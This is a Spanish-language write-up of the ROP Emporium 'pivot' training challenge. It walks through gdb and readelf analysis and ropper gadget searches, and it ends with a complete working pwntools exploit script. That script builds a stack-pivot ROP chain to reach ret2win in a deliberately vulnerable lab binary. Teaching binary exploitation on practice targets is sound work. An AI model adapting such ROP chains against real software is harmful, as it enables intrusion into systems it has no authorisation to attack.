Este es el penúltimo post de la serie de writeups de ROP Emporium. Con esta serie de posts hemos aprendido sobre una de las técnicas más utilizadas en la explotación de binarios, la ROP, ó Return Orineted Programming (Programación orientada a return).
En este penúltimo reto, daremos nuestros primeros pasos en las técnicas de ROP Avanzado, en este caso, en el stack pivoting.
Reconocimiento
Como siempre comenzamos lanzando checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Objetivo
Al igual que en el resto de ejercicios, tendremos que utilizar técnicas de ROP. En este caso, se nos dice que en la biblioteca libpivot, hay una función ret2win a la que debemos llamar.
También se nos dice que ret2win no está importada, pero sí la función foothold_function, que podemos buscar en la PLT y añadirle el offset hasta ret2win. Hay que tener en cuenta que no se llama a foothold_function en ningún momento, por lo que debemos llamarla para actualizar su entrada.
Analizando nuestros inputs
Al ejecutar, se nos permite introducir dos outputs y se nos da la siguiente información: The Old Gods kindly bestow upon you a place to pivot: 0x7ffff77fff10
, además nos dice que el primero irá a dicha dirección.
Si analizamos con gdb-pwndbg:
0x00000000004006a0 _init
0x00000000004006d0 free@plt
0x00000000004006e0 puts@plt
0x00000000004006f0 printf@plt
0x0000000000400700 memset@plt
0x0000000000400710 read@plt
0x0000000000400720 foothold_function@plt
0x0000000000400730 malloc@plt
0x0000000000400740 setvbuf@plt
0x0000000000400750 exit@plt
0x0000000000400760 _start
0x0000000000400790 _dl_relocate_static_pie
0x00000000004007a0 deregister_tm_clones
0x00000000004007d0 register_tm_clones
0x0000000000400810 __do_global_dtors_aux
0x0000000000400840 frame_dummy
0x0000000000400847 main
0x00000000004008f1 pwnme
0x00000000004009a8 uselessFunction
0x00000000004009bb usefulGadgets
0x00000000004009d0 __libc_csu_init
0x0000000000400a40 __libc_csu_fini
0x0000000000400a44 _fini
0x40095d <pwnme+108> call read@plt <read@plt>
fd: 0 (/dev/pts/0)
buf: 0x7ffff77fff10 ◂— 0
nbytes: 0x100
Parece que es cierto, y que el input es de 0x100
bytes. También podemos ver a dónde va el segundo input:
0x400996 <pwnme+165> call read@plt <read@plt>
fd: 0 (/dev/pts/0)
buf: 0x7fffffffdca0 ◂— 0
nbytes: 0x40
En este caso el input es de 0x40
bytes. Si nos fijamos en el stack:
─────────────────────[ STACK ]─────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc90 ◂— 0
01:0008│-028 0x7fffffffdc98 —▸ 0x7ffff77fff10 ◂— 0xa616161 /* 'aaa\n' */
02:0010│ rax rsi 0x7fffffffdca0 ◂— 0
... ↓ 3 skipped
06:0030│ rbp 0x7fffffffdcc0 —▸ 0x7fffffffdce0 ◂— 1
07:0038│+008 0x7fffffffdcc8 —▸ 0x4008cc (main+133) ◂— mov qword ptr [rbp - 0x10], 0
Vemos que la dirección que guarda la dirección de retorno es la 0x7fffffffdcc8
, lo que nos deja una diferencia de 40, o sea 24 B para nuestro payload.
Buscando en la PLT
En uselessFunction encontramos información de la dirección de foothold_function en la PLT:
0x00000000004009a8 <+0>: push rbp
0x00000000004009a9 <+1>: mov rbp,rsp
0x00000000004009ac <+4>: call 0x400720 <foothold_function@plt>
0x00000000004009b1 <+9>: mov edi,0x1
0x00000000004009b6 <+14>: call 0x400750 <exit@plt>
Ahora miraremos la librería libpivot con readelf:
readelf -a libpivot.so
[...]
48: 0000000000000a81 146 FUNC GLOBAL DEFAULT 12 ret2win
49: 0000000000000b14 0 FUNC GLOBAL DEFAULT 13 _fini
50: 000000000000097d 26 FUNC GLOBAL DEFAULT 12 void_function_01
51: 00000000000009b1 26 FUNC GLOBAL DEFAULT 12 void_function_03
52: 00000000000009e5 26 FUNC GLOBAL DEFAULT 12 void_function_05
53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgets@@GLIBC_2.2.5
54: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
55: 000000000000096a 19 FUNC GLOBAL DEFAULT 12 foothold_function
[...]
Por tanto el offset entre ret2win y foothold_function será 0x117
.
readelf -a libpivot.so
[...]
Relocation section '.rela.plt' at offset 0x5c8 contains 9 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 free@GLIBC_2.2.5 + 0
000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 memset@GLIBC_2.2.5 + 0
000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000601040 000800000007 R_X86_64_JUMP_SLO 0000000000000000 foothold_function + 0
000000601048 000900000007 R_X86_64_JUMP_SLO 0000000000000000 malloc@GLIBC_2.2.5 + 0
000000601050 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000601058 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
[...]
En el caso del binario, la entrada de la GOT de foothold_function es 000000601040
.
Explotación
Para este reto utilizaremos una técnica llamada [[Stack pivoting]]. Ya que disponemos de los gadgets necesarios para ello:
ropper -f pivot --stack-pivot
[...]
Gadgets
=======
0x00000000004009be: xchg esp, eax; ret;
0x00000000004009bd: xchg rsp, rax; ret;
0x00000000004009bb: pop rax; ret;
Resumen
Tenemos que llamar a ret2win:
- Primero llamaremos a foothold_function para actualizar su entrada de la .got.plt.
- Cargamos la dirección de foothold_function, primero desde la .got y luego resolvemos esa dirección para tener la efectiva.
- Añadimos el offset entre ret2win y foothold_function a la dirección que hemos cargado.
- Llamamos a dicha dirección.
Buscando los gadgets necesarios
Utilizando ropper encontramos los gadgets que utilizaremos:
0x00000000004006b0: call rax;
0x00000000004009c4: add rax, rbp; ret;
0x00000000004007c8: pop rbp; ret;
0x00000000004009c0: mov rax, qword ptr [rax]; ret;
Script
Ya podemos crear un script en python utilizando pwntools:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.update(arch='amd64')
exe = './pivot'
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.REMOTE:
exit()
else:
return process([exe] + argv, *a, **kw)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
# Leer la dirección de pivot del output del binario
io.recvuntil(b':')
pivot_address = io.recvline().strip() # Capturar la línea con la dirección
pivot_address = int(pivot_address, 16) # Convertirla de cadena hexadecimal a número
log.info(f'Pivot address: {hex(pivot_address)}') #DEBUG
offset = b'A'*40
addr_offset = p64(0x117) # PLT offset
addr = p64(pivot_address) # 1st input destination
foothold_plt = p64(0x400720) # Obtained from uselessFunct
foothold_got = p64(0x601040) # Obtained from readelf
xchgrax_rsp_ret = p64(0x4009bd)
poprax_ret = p64(0x4009bb)
add_rax_rbp_ret = p64(0x4009c4)
poprbp_ret = p64(0x4007c8)
movrax_addrrax_ret = p64(0x4009c0)
call_rax = p64(0x4006b0)
# LOAD PAYLOAD IN 1ST INPUT
payload = foothold_plt # call foothold_plt first
payload += poprax_ret # get the adress of foothold_got into rax
payload += foothold_got
payload += movrax_addrrax_ret # get the effective adress of foothold_got into rax
payload += poprbp_ret # get the offset into rbp
payload += addr_offset
payload += add_rax_rbp_ret # add the offset to get the address of ret2win
payload += call_rax # call ret2win
io.recvuntil(b'> ')
io.sendline(payload)
# MAKE STACK PIVOTING IN SECOND INPUT
stack_pivoting = offset
stack_pivoting += poprax_ret
stack_pivoting += addr
stack_pivoting += xchgrax_rsp_ret
io.recvuntil(b'> ')
io.sendline(stack_pivoting)
io.interactive()
Hay que tener en cuenta que el valor de la dirección a la que pivotar va variando, por lo que hay que capturarlo al ejecutar el binario.
Y ya sólo nos quedaría un último post de esta serie de post. Sin más preámbulo, ¡Nos vemos en el siguiente post!